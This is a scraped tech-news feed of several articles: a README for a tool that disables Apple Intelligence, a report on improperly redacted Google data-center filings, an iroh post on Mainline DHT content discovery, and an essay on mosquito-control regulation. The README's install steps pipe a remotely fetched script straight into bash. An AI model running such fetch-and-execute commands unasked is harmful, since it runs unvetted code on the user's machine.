Success! Your billing info has been updated.

Your billing was not updated.

I asked Claude build a physically accurate O'Neill cylinder you can walk around

Hacker News
island-three.gruberbuilds.workers.dev
2026-10-04 15:49:12
Comments...
Original Article

Loading…

Remove and Disable Apple Macos27 AI Models Tool

Hacker News
github.com
2026-10-04 15:42:25
Comments...
Original Article

RemoveMacAI

Turn off Apple Intelligence on macOS 27 and remove its downloaded models.

macOS 27 no longer has a single switch for Apple Intelligence, and its models stay on disk after the features are turned off. RemoveMacAI turns the features off, removes the models and prevents macOS from downloading them again. All changes can be reverted.

RemoveMacAI turning off Apple Intelligence

Demo video

Install

curl -fsSL https://raw.githubusercontent.com/omlahore/RemoveMacAI/main/install.sh | bash

The script downloads the latest release, verifies its SHA-256 checksum and runs it from a temporary directory. Nothing is installed.

Every release is built from its tag by GitHub Actions and carries a build provenance attestation. To check that a download came from this repository's source:

gh attestation verify removemacai-darwin-arm64.tar.gz -R omlahore/RemoveMacAI

With Homebrew:

brew install omlahore/tap/removemacai
removemacai

RemoveMacAI shows the current state and asks for confirmation. It then opens System Settings to install its configuration profile, which macOS requires the user to approve, and removes the models.

Usage

Command Description
removemacai Show the current state, then turn Apple Intelligence off
removemacai status Show each feature and the size of the models on disk
removemacai off --keep <features> Leave the listed features on
removemacai off --dry-run Show the changes without applying them
removemacai revert Undo all changes
removemacai features List the feature names accepted by --keep

To revert with the one-line installer:

curl -fsSL https://raw.githubusercontent.com/omlahore/RemoveMacAI/main/install.sh | bash -s revert

What it changes

Features turned off: Siri (including "Hey Siri" and the menu bar icon), Writing Tools, Genmoji, Image Playground, the ChatGPT extension, summaries in Mail, Messages, Safari, Notes and notifications, Mail smart replies, inline text predictions, Spatial Photos, Photos Clean Up and Xcode predictive code completion.

Models removed: the Apple Intelligence foundation models and the models for image generation and Genmoji, Spatial Photos, Photos Clean Up and Xcode code completion.

Output of removemacai status

How it works

  • A configuration profile applies Apple's restriction keys for Apple Intelligence and forces the settings that have no restriction key.
  • Models are removed through Apple's asset service. System Integrity Protection stays enabled and no files under /System are modified directly.
  • The profile redirects the download of each removed model to a closed local port, so macOS does not download it again.
  • Removing the profile restores the previous settings. macOS downloads the models again when a feature needs them.

RemoveMacAI makes no network requests and collects no data.

FAQ

Does dictation still work? Yes. Dictation is a separate setting, and its speech models are not removed.

Do macOS updates undo the changes? No. The profile, including the download block, persists across updates.

Storage settings still lists Apple Intelligence after the models were deleted. Apple's asset service releases the models right away, but macOS deletes the files on its own schedule. Until then, System Settings > General > Storage keeps counting them under Apple Intelligence.

Why is a process named Siri still running? In macOS 27 the Spotlight window runs as a process named Siri. Some system services also stay loaded; they are protected by System Integrity Protection.

What stops working? The features listed above, apps that use Apple's on-device models (the Foundation Models framework and the Use Model action in Shortcuts), Visual Intelligence and natural-language editing in Calendar.

Requirements

Apple silicon.

macOS Status
27 Supported, tested on 27.0. On 27.0.1, use 0.2.3 or later.
26 and earlier Not supported

Uninstall

Run removemacai revert , then brew uninstall removemacai if it was installed with Homebrew.

Acknowledgements

RemoveMacAI is built on pared , a complete working tool by 4evy that first mapped the asset service, the model sets and several of the settings keys. Its license is in THIRD-PARTY-NOTICES.md .

License

MIT

Homa: The End of TCP for AI Clusters [video]

Hacker News
www.youtube.com
2026-10-04 15:42:25
Comments...

Improper redaction reveals Google Data Center water and electricity usage

Hacker News
www.1011now.com
2026-10-04 15:37:05
Comments...
Original Article

LINCOLN, Neb. (KOLN) - Nebraska data centers are required to turn in an annual report to Nebraska’s Department of Water, Energy, and Environment, but some state statutes are preventing the public from seeing just how much electricity and water data centers are using.

The Google Data Center in Lincoln, named Agate LLC, claimed their electricity usage and water usage were trade secret information, citing Neb. Rev. State §§ 81-1527 ; 84-712.05 and NAC TITLE 115, CH. 2 . In fact, Google did this for all three data centers, including their sites in Omaha and Papillion.

However, using a computer cursor to highlight the redacted text box in the report to DWEE, then copying and pasting it into a separate document reveals that Agate LLC is reporting 52.65 megawatts of electricity during peak electrical demand and 13.299 megagallons of water between cooling towers, evaporative systems and site operations in the last year. That totals out to 13 million gallons of water.

For context, 13 million gallons is enough to fill around 20 Olympic-size swimming pools, and is less than half of what the City of Lincoln reports using on Sept. 29.

The six data centers reporting as of Sept. 30 show a total use of 765 million gallons of water last year, enough water to fill 1,159.93 Olympic-size swimming pools.

More improper redaction shows that the data center using the most water annually is Fireball Group LLC, the Google Data Center in Papillion. Fireball LLC reports 547.88 megagallons for their 2025 Annual Water Consumption.

10/11 filed a public record request Sept. 30 to see redacted information from Agate LLC’s report.

10/11 filed a public record request to Nebraska DWEE on Sept. 30 to see redacted information.

10/11 filed a public record request to Nebraska DWEE on Sept. 30 to see redacted information. (Madison Pitsch | 10/11)

Further improper redaction reveals exactly how much of a 2025 tax refund Google data centers expect.

Google’s reports state that data centers only “utilize or expect to utilize” sales and use tax exemptions under the Nebraska Advantage Act. Reports state no rebates have been received for that program to date, nor have any incentive payments been received, or are expected to be received under the ImagiNE Nebraska Act.

Agate LLC reports expecting a refund of $55,822,472 from 2025 taxes. Fireball LLC is expecting a refund of $39,171,573.39 from 2025 taxes. Westwood Solutions LLC, the Google-owned data center in Omaha, is expecting a refund of $22,558,881 from 2025 taxes.

Documents submitted by Agate LLC show that the gross floor area is 288,530 square feet - about five football fields.

The Department of Water, Energy, and Environment Data Center Task Force is overseeing the execution of Governor Jim Pillen’s July 20 th Executive Order requiring data centers in the state to self-report their impact on Nebraska’s resources; primarily water, power grids and local infrastructure.

Usage reports are due by Sept. 30. Submitted reports can be read here , simply enter “DCR” into the “DEQ Program” field.

Click here to subscribe to our 10/11 NOW daily digest and breaking news alerts delivered straight to your email inbox.

Copyright 2026 KOLN. All rights reserved.

ncdu: NCurses Disk Usage (an updated fork)

Lobsters
github.com
2026-10-04 15:30:36
Comments...
Original Article

ncdu-zig

Description

Ncdu is a disk usage analyzer with an ncurses interface. It is designed to find space hogs on a remote server where you don't have an entire graphical setup available, but it is a useful tool even on regular desktop systems. Ncdu aims to be fast, simple and easy to use, and should be able to run in any minimal POSIX-like environment with ncurses installed.

See the ncdu 2 release announcement for information about the differences between this Zig implementation (2.x) and the C version (1.x).

Requirements

  • Zig 0.17
  • Some sort of POSIX-like OS
  • ncurses
  • libzstd

Install

You can use the Zig build system if you're familiar with that.

There's also a handy Makefile that supports the typical targets, e.g.:

make
sudo make install PREFIX=/usr

Iroh global content discovery

Lobsters
www.iroh.computer
2026-10-04 15:19:42
Comments...
Original Article

What got me excited about IPFS many years ago, briefly after it was announced, was being able to publish a personal website, blog post, or political pamphlet and have it remain available globally as long as enough people are interested in the content. As governments have been more sophisticated in their firewalling methods, this use case for circumvention tools and permissionless global content discovery is still incredibly relevant.

Recent events have added some urgency to this. IPFS shipyard is shutting down . This does not mean that IPFS will stop working, but it does not bode well for the future of the project.

When we had to solve hole punching, we started looking at existing systems and chose the best open source system as an initial starting point for our own implementation. So let's do the same for global content discovery.

There are a number of projects trying to solve this problem. But one project stands above all others: BitTorrent . It just works and has done so for over two decades.

So let's take a look at what makes BitTorrent the current leader in permissionless global content discovery. BitTorrent has a relatively simple protocol for blob transfer and a DHT called Mainline for global content discovery.

The transfer protocol and content discovery are separate systems . In fact, the DHT was developed later than the transfer protocol. BitTorrent was released in 2001 using centralized trackers for content discovery; the Mainline DHT was added in 2005.

BitTorrent works by creating a .torrent file that contains information about the data to be downloaded. The file is encoded using bencode , which is conceptually similar to JSON.

pieces contains the concatenated SHA-1 hashes of all piece length -sized pieces. The transfer protocol downloads blocks of these pieces from different peers. 1

The transfer protocol allows requests for ranges within pieces, but you can only validate a piece after you have downloaded it completely and computed its SHA-1 hash.

I don't want to dwell on this too long, but I think that BLAKE3 verified streaming is a superior replacement for the transfer protocol. We implemented a protocol called iroh-blobs that uses BLAKE3 verified streaming for sharing blobs of data over iroh connections. With BLAKE3, we only need a single root hash, and neither a piece length parameter nor hashes of the individual pieces. This is what allows iroh-blobs to validate any piece of a large blob without needing intermediate hashes.

For a visual explanation of how it works, see my BLAKE3 and Bao deep dive , which covers verified streaming, outboard encoding, and range requests.

We still have some work to do to make multiprovider downloads of single blobs efficient, but the streaming protocol itself with its fine grained validation is superior to the BitTorrent transfer protocol.

Initially BitTorrent used trackers to get providers for a torrent. What the DHT adds is a way to get providers without having to rely on trackers.

This works by computing the SHA-1 hash of the info section, which includes the hashes of all pieces. Then you announce on the DHT that you have content for this hash. The mainline functions for this are announce_peer and get_peers . Each DHT node will store a large set of providers.

Many more modern protocols also use DHTs for content discovery. But Mainline works extremely well compared to many modern alternatives. It is also an extremely large and stable public DHT deployment, so it is unlikely to go away any time soon. You can look at current mainline statistics .

Mainline DHT statistics from IPinfo.

So let's take a look at why.

The mainline protocol takes into account that a DHT operates across an extremely large number of nodes. You can't afford large per-node connection state. Therefore both queries and responses are constrained to fit into single non-fragmented UDP packets.

There are a number of other limitations compared to modern DHT implementations that all serve an important purpose:

  • the data stored for a provider is just the public host:port pair of the provider as seen from the DHT node . There is no user defined information in a provider record. 2

  • For newer extensions like BEP 44 the data is fully self-contained and verifiable, either a tiny piece of data or a signed record, both limited to fit into a typical MTU.

  • you can only store data after first querying the DHT node and returning the short-lived token from its response, proving that at publishing time you can receive packets at your claimed IP address. 3

The result of this minimalism is that mainline lookups typically complete in less than a second.

Here is a real BEP 44 lookup of a pkarr record using the get_mutable example from n0-mainline .

If you are traumatized by DHT lookups taking forever or timing out: it doesn't have to be this way . The mainline DHT shows that millisecond lookups are possible at a global scale.

Mainline for finding blobs providers

Now that we have established why mainline works so well, let's see if there is a way to use it for iroh blobs content discovery.

Mainline provider records are just an IPv4 host:port pair. But iroh connections are dialed by cryptographic identity, currently the Ed25519 public key aka EndpointId . So to use mainline provider records for iroh blobs endpoint discovery, we would need a way to know which EndpointId is currently listening on this host:port .

In most cases this host:port will be behind a NAT, so it is not reachable .

I tried a number of ways to use current mainline mechanisms such as BEP 44 to store this mapping, but currently this is not possible. So we need a tiny extra UDP address index service ( udp-addr-index ) to provide this mapping.

This can be an incredibly simple service. It just stores some tiny arbitrary metadata for each verified UDP host:port pair and is reachable exclusively via a simple single-packet UDP protocol. Since mainline requires UDP, and this is an extension for mainline, we don't need to handle the case where sending UDP packets is not possible.

Writes need a mechanism similar to the mainline or QUIC token mechanism to verify that the remote is actually reachable on the host:port pair. Reads don't need this, we just require a padded query packet to prevent amplification.

The service stores up to 1 KiB of arbitrary metadata. It's a last writer wins map from a live UDP host:port pair to a tiny blob. Mappings expire after some time, so a content provider has to update the mapping at regular intervals as well as when its public UDP host:port pair changes.

The current implementation keeps the map purely in memory. Records have to be updated at regular intervals anyway, and not requiring persistence makes the service much simpler and cheaper to operate. You can run an address index service for millions of iroh endpoints on a single small box with a publicly reachable UDP socket.

The address index service does not depend in any way on iroh. It is infrastructure that could also be useful for non iroh applications using mainline.

In the long term I would love the address index service function to be handled by a BitTorrent Mainline extension. It is simple, generically useful, and not specific to iroh.

For our endpoint discovery purposes we store a record containing the endpoint id, current UDP socket addr, and a timestamp, signed with the endpoint private key. So only the owner of the endpoint key can write a valid signed record, so you can't impersonate other endpoints.

The address index service however does not check anything about the endpoint. What get_peers in conjunction with this service gives us is just a list of candidate iroh endpoints which might serve the content.

Endpoint discovery doesn't have to be for content discovery. We also have an example that shows how to discover peers for a gossip topic .

So now let's take a look at the overall workflow when announcing and discovering content. For both announce and discovery we will need a mainline DHT node. We use the n0_mainline crate just like in the existing iroh-mainline-address-lookup crate.

Announce

We want to associate the UDP socket of n0_mainline with our EndpointId . As outlined above, we use an UDP addr index server for this: we publish a signed record containing our EndpointId via the same UDP socket to the addr index server. n0_mainline has a mechanism to publish arbitrary UDP packets on its socket and to intercept incoming UDP packets. This needs to happen at regular intervals as well as immediately when the public host:port pair changes.

For the announce itself: the mainline keyspace is 20 bytes, usually used to announce SHA-1 hashes of the info section of a .torrent file. We want to announce BLAKE3 hashes, so we first compute the SHA-1 hash of the BLAKE3 hash. Then we use announce_peer to announce that we are providing data for that hash. These announces also need to happen at regular intervals.

You might wonder if SHA-1 is still safe for this purpose. Its collision resistance is broken, but there is no known practical preimage attack. More importantly, the DHT is just a best-effort mechanism for finding candidate providers. We verify downloaded data against the original BLAKE3 hash, so a misleading DHT result can waste time, but cannot make us accept the wrong content.

Discovery

For discovery we first need to find at least one working service that can translate host:port pairs into EndpointId s. We have two mechanisms built in for this: a rendezvous hash that allows address index services to announce themselves, and a BEP 44 record that is a curated list of good address index services. Announce and discovery need to agree on the rendezvous hash or BEP 44 record name to find address index services.

Once we have at least one working address index service, we compute the SHA-1 hash of the BLAKE3 hash we are looking for and call get_peers . The output of get_peers is a list of host:port pairs which we translate to EndpointId s using the address index service.

At this point we get a stream of unverified EndpointId s. We currently do a quick BLAKE3 size query for the content we are looking for to make sure they are live and serve the right content, then hand them over to the iroh-blobs downloader to download the actual content.

Note that the actual connection now uses the EndpointId and iroh's built in address lookup and hole punching to establish a connection. The QUIC connection does not work via the announced UDP host:port pair. That is just a key for the address index service.

All of the above is implemented in the experimental iroh-content-discovery repository. Its workspace contains the address index service, its protocol and client as well as a few extra crates that make use of it.

To see the entire workflow in action, we can run the blobs example . It runs both publish and resolve in one process, but discovery nevertheless goes via mainline and the address index service.

So now we have a mechanism to do content discovery for blobs. This will be useful for tools like sendme and in general for sending around large amounts of data.

But what about permissionless publishing of websites such as a blog? To make this work we need some extra components.

We need a syntax for content-addressed links. We don't go into a giant rabbit hole about how to encode these links. Our content addressed links are always BLAKE3. We need to reserve some global namespace for them, so we reserved a domain blake3.net . A content-addressed link is just https://<hash>.blake3.net , with the hash encoded using zbase32 .

A content-addressed URL with its 52-character z-base-32 BLAKE3 hash and blake3.net namespace labeled. A content-addressed URL with its 52-character z-base-32 BLAKE3 hash and blake3.net namespace labeled.

We don't want to run an actual gateway at blake3.net . That would be a very bad idea for various reasons.

Instead we want the browser to interpret these links as something that can be resolved in a different way. So we wrote a simple browser plugin that just rewrites these links to http://<hash>.blake3.localhost:<port> where the port is configurable in the plugin.

That's all the plugin does.

It currently works for Brave, Chrome, and Firefox.

For Chrome and Brave, install iroh link from the Chrome Web Store .

The Firefox extension is awaiting review. For now, save the unsigned Firefox XPI to your computer using Save Link As . In Firefox 140 or later, open about:debugging#/runtime/this-firefox , click Load Temporary Add-on , and select the downloaded file. Open the extension popup, click Save , and allow access to the requested sites. You must load it again after restarting Firefox; the unsigned package cannot be installed through Install Add-on From File in regular Firefox.

The last component is a local gateway that serves content-addressed data on localhost. It interacts with mainline to find content and orchestrates the actual blobs downloads. It supports iroh-blobs collections and shows a directory index for them. It also does file type detection. It is derived from iroh blobs gateway in iroh-examples .

You can compile the gateway from source , or download the latest release .

We could build a service worker to verify the data inside the browser process.

Instead we verify the data inside the gateway.

It is software that you have to trust, whether it lives in the browser process or elsewhere doesn't matter much.

With these two components in place we can browse content-addressed data.

The local iroh gateway displaying the Open Content Library directory with Books, Essays, Films, LLM, and Website folders.

Now we have a mechanism to publish and consume content-addressed data. But we don't have a way to refer to mutable data. You could use blake3.net links from an existing website, but for that you need a registrar and a hoster, so it is not the permissionless publishing we are after.

Fortunately a permissionless DNS system already exists, pkarr . We have been using it for years for endpoint address lookup. Pkarr is a standard to publish a DNS record for a keypair, so only the owner of the secret key can publish new versions. The records are published on mainline DHT, which fits our setup neatly.

To make this compatible with our browser plus local gateway usage scenario, we reserved another domain pkarr.net and added a rewrite rule to the plugin and pkarr support to the gateway.

A pkarr link has the format <name>.pkarr.net , where name is the zbase32 encoding of an Ed25519 public key. The plugin rewrites it to <name>.pkarr.localhost:<port> . The gateway will then resolve the pkarr record and either perform a redirect or directly serve content-addressed data if the pkarr record links to hash.blake3.net .

The browser plugin keeps the public key unchanged while rewriting https://uinsazmmp47ejo8gs5dbc6rfxya14cgqhxmdqin8ae55w5aqnsio.pkarr.net to http://uinsazmmp47ejo8gs5dbc6rfxya14cgqhxmdqin8ae55w5aqnsio.pkarr.localhost:1234. The browser plugin keeps the public key unchanged while rewriting https://uinsazmmp47ejo8gs5dbc6rfxya14cgqhxmdqin8ae55w5aqnsio.pkarr.net to http://uinsazmmp47ejo8gs5dbc6rfxya14cgqhxmdqin8ae55w5aqnsio.pkarr.localhost:1234.

If you are familiar with IPFS, this is very similar to IPNS . I even did a little toy experiment called Iroh Pkarr Naming System

The pkarr-publish-resolve example in iroh-content-discovery demonstrates the whole workflow: generate a keypair, publish a blob and its name, then resolve the name, discover a provider, and download the verified content from a separate client.

Pkarr gives us permissionless names, but not human-readable ones: anyone can generate a keypair and publish under its public key, without asking a naming authority. This is the tradeoff illustrated by Zooko’s triangle : pkarr names are decentralized and cryptographically verifiable, but a 52-character encoded public key is not a memorable name.

Zooko’s triangle: pkarr sits between decentralized and secure; DNS with DNSSEC sits between human-readable and secure. Zooko’s triangle: pkarr sits between decentralized and secure; DNS with DNSSEC sits between human-readable and secure.

You can combine human readable naming systems with pkarr to get a memorable name that you can retarget in a permissionless way. We have some ideas about how to do this, stay tuned.

The first step is to run the local gateway. Most readers of this blog will probably just compile it from source, but there are also installers for windows and MacOS on github.

The next step is to install the browser plugin. For Chrome and Brave, install iroh link from the Chrome Web Store .

Make sure the port configured on the gateway and the browser plugin match. The default is 45475 or B1A3 .

And then you are ready to browse the content-addressed web.

Try https://y7rmokt6h5mryuauw83em4u1br6tqrukaw3ngtde7zp8p3bg6hto.blake3.net/ for some static content, or https://5ti57aszf7kaicsncb4wgigkf9bju39kofiz8dthwdujkmz85u8y.pkarr.net/ for a pkarr record currently pointing to the above.

Traditional website publishing just means copying your files to a directory on a server. But for content-addressed data and permissionless pkarr DNS records, you are the publisher.

So we wrote a tool iroh-share that simplifies publishing. You can think of it as sendme , but running as a daemon with a separate user interface.

Both content-addressed data and pkarr records need continuous announcements, so you might want to run this daemon on a small box in your attic that is on 24/7, or a vm in the cloud. I run it on an old Synology NAS in my attic. It's behind a NAT of course, but you do get direct connections anyway.

You can find releases at https://github.com/n0-computer/iroh-share/releases .

We now have a system for global content discovery of BLAKE3 hashed content addressed data. It is far from perfect , but it's a start .

The user interface of sharing content addressed data is extremely simple. You just state what content you want, and the gateway gets it for you.

The system behind it has a lot of room for improvement.

  • Mainline is quite scalable, but it probably won't scale for the vision of making all content on the internet content-addressable.

  • Mainline traffic is also unencrypted and therefore easily blocked by middleboxes.

  • The existing pkarr naming mechanism is using Ed25519 and therefore is not post quantum secure.

  • And perhaps most importantly, mainline does not provide any privacy . If you share content, anybody can look up your ip address .

But we are currently in the food and shelter phase of global content discovery. We will continue to improve the underlying content discovery system, possibly by extending mainline, possibly by writing our own DHT using iroh connections.

But the current system is certainly better than nothing , and we can do all these improvements while keeping the user interface stable.

We are currently working on getting our most frequently used iroh protocols irpc , iroh-gossip and iroh-blobs to 1.0. The endpoint discovery mechanism is experimental, but all relevant crates are published on crates.io for you to play with.


  1. In endgame mode , it may request the same remaining blocks from multiple peers and use whichever responses arrive first. ↩

  2. Technically, you can choose the port in an announce_peer request. But that gives you only 16 bits, which is not enough to store, for example, a 32-byte iroh EndpointId . ↩

  3. This mechanism is similar to the address validation token in QUIC. ↩

Iroh is a dial-any-device networking library that just works. Compose from an ecosystem of ready-made protocols to get the features you need, or go fully custom on a clean abstraction over dumb pipes. Iroh is open source, and already running in production on hundreds of thousands of devices.
To get started, take a look at our docs , dive directly into the code , or chat with us in our discord channel .

Show HN: Build with Python – a beginner course where your code draws

Hacker News
scimigo.com
2026-10-04 14:59:25
Comments...
Original Article

Make a robot, repeat a pattern, and respond to a click

Your first Python programs make pictures on a canvas. Learn calls, values, variables, and a loop before adding one click handler.

You learn
function calls · variables · loops · click events

You build
A robot, a row of circles, and click-to-draw painting

Loading the lab…

Was this lesson useful? Your feedback helps us improve the course.

A browser-native classic Visual Basic VB6 IDE

Hacker News
wieslawsoltes.github.io
2026-10-04 14:49:17
Comments...

Google Japan shows off conveyor-belt keyboard with keys that move to fingers

Hacker News
www.tomshardware.com
2026-10-04 14:36:33
Comments...
Original Article

Google Japan just showed off a quirky keyboard that has keys rolling on a conveyor belt to make typing “easier.” According to the company blog [machine translated], it built the Gboard Conveyor Belt Version so that the keys flow to your hand instead. That means you don’t have to move your fingers or arms as much, especially when you’re typing using a single hand. The keyboard comes with four belts, each containing 29 keys, making it quite “intuitive” to operate. The team behind it is also considering releasing various color variations, high-speed models, and even a shorter version for mobile devices. You can see the keyboard in action in the video below.

Get Tom's Hardware's best news and in-depth reviews, straight to your inbox.

Mosquitoes Are a Choice

Hacker News
worksinprogress.co
2026-10-04 14:06:04
Comments...
Original Article

Most Americans think of mosquito-borne diseases such as malaria, yellow fever, and dengue as problems that affect people in other countries, not their own. Until recently, they would have been largely correct: malaria and yellow fever were eliminated in the United States in the twentieth century, and dengue had become extremely rare, with most cases brought back from abroad. But as temperatures have risen and mosquitoes have developed resistance to pesticides, these diseases have become a growing problem again in the United States.

In 2024, the country reported almost 4,000 cases of dengue, a 360 percent increase over the average of 830 per year over the previous decade; Florida, California, and Texas all saw locally acquired transmission; and Puerto Rico declared dengue a public health emergency. Ten locally acquired malaria cases were reported nationwide in 2023, the first reported in twenty years. And though yellow fever remains gone for now, the mosquitoes capable of spreading it are still present.

The Works in Progress Newsletter

Get new articles from Works in Progress delivered to your inbox.

But we don’t have to accept this threat. We have new ways to wipe out mosquito-borne diseases with minimal environmental cost. The United States is sufficiently well-resourced, and its disease-carrying mosquito population sufficiently small, that it can stamp out this problem entirely within its own borders.

The reason we haven’t is that the technology has spent fifteen years in regulatory limbo. Ending this impasse would allow us to eliminate many mosquito-borne diseases from the United States, and eventually the rest of the world.

The lethal gene

Genetic engineering can suppress mosquitoes: researchers insert a gene into male mosquitoes that means their offspring will not survive, and then release them into the wild, where they mate with females, prevent those females having any surviving offspring, and collapse local populations. In 2000 , biologists at the University of Oxford demonstrated that this idea could work in fruit flies. They engineered the flies to carry a gene that makes a protein called tTAV, harmless in small amounts but lethal when it builds up. In the lab, the insects are reared in a medium laced with the antibiotic tetracycline, which keeps the gene switched off. But, in the wild, where there is no tetracycline, the gene switches on, and the offspring die before adulthood.

The scientists then formed a company, Oxitec, which was intended to work with governments to research and deploy the technology. They engineered the same gene into male Aedes aegypti , the mosquito that spreads dengue and yellow fever. In this strain, the lethal effect is tuned to kill only the female offspring, while the males survive and pass the gene on for a few generations before it disappears. This approach means the gene continues driving down mosquito numbers for several generations without needing a fresh ‘top up’ of engineered males, but it is also self-limiting: the females that inherit it die off each generation, so the lethal gene steadily declines in the wild. Yet the technique is hugely effective. Sustained releases cut a wild Aedes aegypti population in the Cayman Islands by 80 percent , and in a field trial in Juazeiro, Brazil by about 95 percent . The company submitted its data to seek approval in the United States in 2010. But it has been slow going.

Until that point, engineered insects had been used only for agricultural pest control. Since the 1950s, the United States Department of Agriculture (USDA ) had been using the ‘sterile insect technique’, sterilizing male insects with radiation rather than genetic modification, which would mate with wild females and produce no offspring, steadily driving the wild population down. The technique’s major success was in fighting screwworm: an extremely nasty insect that lays its eggs in open wounds, and whose larvae then hatch and burrow into the flesh of any animal unlucky enough to be afflicted (usually livestock), killing them within days. The United States used the sterile insect technique to clear out this pest in the 1960s, and eventually pushed it back as far as the southern tip of Panama. This is estimated to have saved American cattle farmers close to $800 million per year , with billions more in benefits to the wider economy. But containment broke, and in June 2026 , Texas detected the United States’ first case of screwworm in 60 years, likely aided by cattle smuggling from Central America, where the pest has resurged. With billions of dollars in damages, Texas officials are once again deploying sterile flies to contain its spread.

The Mediterranean fruit fly, which attacks more than 300 kinds of fruit and vegetables and is considered the most destructive fruit pest in the world, has been beaten back the same way, with sterile flies released over California and Florida. It’s estimated that, if the fruit fly resettles in California, the resulting crop damage could cost over a billion dollars per year in that state alone.

When Oxitec first sought approval for its gene-edited Aedes , it applied to the agency that had long managed mass insect releases, the USDA . But it took a year and a half for the USDA to reject the application and inform the company that it should instead apply to the Food and Drug Administration (FDA). The FDA had claimed jurisdiction over genetically modified animals under its authority over veterinary drugs. Its guidance stated that ‘altered genomic DNA in an animal is a drug … because such altered DNA is an article intended to affect the structure or function of the body of the animal’. Until then, the USDA’s insects had been sterilized through radiation, which damages an insect’s sperm so that it leaves no viable offspring. Oxitec, by contrast, had inserted a new gene. Even so, the category was a poor fit for Oxitec’s mosquitoes.

Oxitec’s application sat with the FDA for another five years. Like the USDA, the FDA could not work out how to apply existing rules for veterinary drugs to an engineered mosquito, eventually concluding that the Environmental Protection Agency (EPA), which oversees pesticide registration, was a better fit. The FDA issued new guidance stating that they did not regulate products ‘intended to prevent, destroy, repel, or mitigate mosquitoes for population control purposes.’ The FDA had essentially created a bespoke carve-out for genetically engineered mosquitoes, recognizing that its regulatory frameworks weren’t set up to evaluate something like this.

In its third review, at the EPA, Oxitec’s mosquitoes were subject to the rules governing pesticides, which often require both scientific assessments and field trials before the product can be lawfully sold and distributed. In May 2020 , a full decade after Oxitec first sought approval, the EPA granted them an Experimental Use Permit, which didn’t allow them to sell their product but did finally allow them to test it to obtain the safety and efficacy data needed for commercial registration by running field trials in delimited areas.

The location they chose for those field trials was the Florida Keys, an island chain off the southern tip of Florida, where dengue had resurged . Local authorities were eager to use genetically modified mosquitoes and in 2021 , Oxitec ran the first field trials in the United States that demonstrated female mosquitoes that inherited the gene died before adulthood. In 2022, the EPA expanded the trials to California, clearing the release of up to 2.4 billion genetically engineered mosquitoes across the two states, but the releases were paused after public pushback.

Oxitec’s permit expired in April 2024, meaning no further mosquitoes could be released without new authorization from the EPA. A full commercial registration requires another review from the agency, this one focused on field trial data. Their full registration remains pending , over two years after the end of their field trial permit. A scientific advisory panel reviewing the case was supposed to convene in November 2025 , but the meeting was postponed with, at the time of writing, no new date set. As Florida Keys Mosquito Control District Executive Director Andrea Leal said, ‘our biggest challenges have been awaiting regulatory approvals.’ Luckily, this district had another mosquito control option to try out: Wolbachia -infected mosquitoes.

Smaller still to bite ’em

Around the same time as genetically engineered mosquitoes were becoming viable, an alternative technique emerged. It rests on a bacterium called Wolbachia, which naturally infects roughly 60 percent of insect species, including butterflies, fruit flies, and bees. Wolbachia has two effects on insects that make it useful for preventing mosquito-borne disease. First, it makes them less able to carry viruses, including those that infect humans. Second, the bacterium is passed on to future generations – specifically, infected females pass it on through their eggs, and infected males can only produce offspring if they mate with infected females; if they mate with uninfected females, the offspring will not develop. By releasing infected male and female mosquitoes, wild mosquito populations can be seeded with Wolbachia until most of them carry it, becoming resistant to viruses like dengue and spreading their resistance to future generations. And since this approach does not involve genetic modification, it ought to be able to bypass much of the regulation that stalled Oxitec’s gene-modified Aedes .

In 2009, after decades of research, scientists in Australia successfully introduced a strain of Wolbachia into Aedes aegypti . They also confirmed that Wolbachia -infected male mosquitoes that mate with wild females produce eggs that don’t hatch, making them effectively sterile without infected females to mate with. This is the basis for an alternative strategy: releasing only males has the same effect as the sterile insect technique, collapsing local populations. The approach has succeeded at the scale of cities. In a randomized trial in Singapore, releases of Wolbachia -infected males cut mosquito populations by 85 percent compared to control areas and dengue infections by roughly 70 percent.

In April 2024 , after fifteen years working its way through the system, MosquitoMate became the first company to receive full nationwide commercial registration for a live mosquito biopesticide. MosquitoMate’s insects can now be deployed across the United States, subject to local approval. Mosquito control districts have moved quickly to make use of the technology, including the Florida Keys in 2025 and the San Gabriel Valley in 2026 . The technology is also attracting interest from larger players. In June 2026, Google’s Debug project requested the EPA’s approval to release 64 million Wolbachia mosquitoes in California and Florida (in this case, targeting a different species: Culex quinquefasciatus , which carries West Nile virus). But it must complete the Experimental Use Permit process from the beginning, even though the basic underlying technology is the same.

Regulating biotech better

In the last few decades, biotech has developed enormously. We can edit DNA , treat diseases by silencing harmful genes , and engineer bacteria to eat plastic waste and oil spills: all things that would have sounded like science fiction not even fifty years ago. But the regulation that governs the use of these new technologies hasn’t kept pace. No major new biotech regulation has been passed since the 1980s, and the agencies responsible for review are not resourced or designed for speed. The 1986 Coordinated Framework remains the governing structure, and it divides jurisdiction according to categories designed for the previous century.

Sometimes, it’s not even clear which regulatory body should have oversight of a new technology, a question which can create years-long delays before testing even begins. Cell-cultured meat faced this problem: was it a food, and thus under the jurisdiction of the FDA, or an agricultural technique, under the jurisdiction of the USDA? The deadlock broke only when Congress forced them to split the review. In Oxitec’s case, a single early meeting to resolve the tensions would have saved years. A few years ago, Washington seemed to agree. President Biden’s 2022 executive order directed the agencies to resolve regulatory uncertainties, and they committed to formally update how the 1986 Coordinated Framework is implemented. But almost none of it happened; President Trump rescinded the order in March 2025, and the updates never materialized.

Even aside from harmonization and safety testing, it can still take years for products to be reviewed. Other programs might expedite the process. The EPA introduced a Vector Expedited Review Voucher program in 2022, which rewards companies that successfully register a novel mosquito control product with a voucher entitling them to expedited review on their next application. This ought to ensure that many of the best applications would be fast-tracked. But it doesn’t do anything about the long regulatory backlog itself. Much better would be to grow regulatory agencies’ capacity to review and approve applications, to speed up the pipeline as a whole. Currently, the EPA unit responsible for reviewing new mosquito control products is a small office that reviews a wide range of products from biochemical compounds to genetically engineered mosquitoes, and mosquito products are generally reviewed with the same protocols as other conventional pesticides, even though they raise different questions than pesticides on dispersal, inheritance, and their impact on populations.

Reforming these departments and clearing their backlogs is possible. Because of the Prescription Drug User Fee Act, passed in 1992, two thirds of the FDA’s budget for human drug review now comes from industry fees. In the late 1980s, the median time to review a new drug was 29 months ; under the fee system, the targets are ten months for a standard review and six months for a priority one, and the agency now meets them in the large majority of cases. Increased staffing helped drive the speed up: it’s estimated that review times fell by roughly 3.3 months for every 100 reviewers the FDA added. The EPA, by contrast, is much more reliant on congressional appropriation, with two thirds of its budget coming from Congress and only one third from fees.

It shouldn’t have to take fifteen years to deploy effective products that can save lives. New technologies mean that mosquito-borne disease is now a choice in the United States. We have the power to eliminate it; all we have to do is choose to.

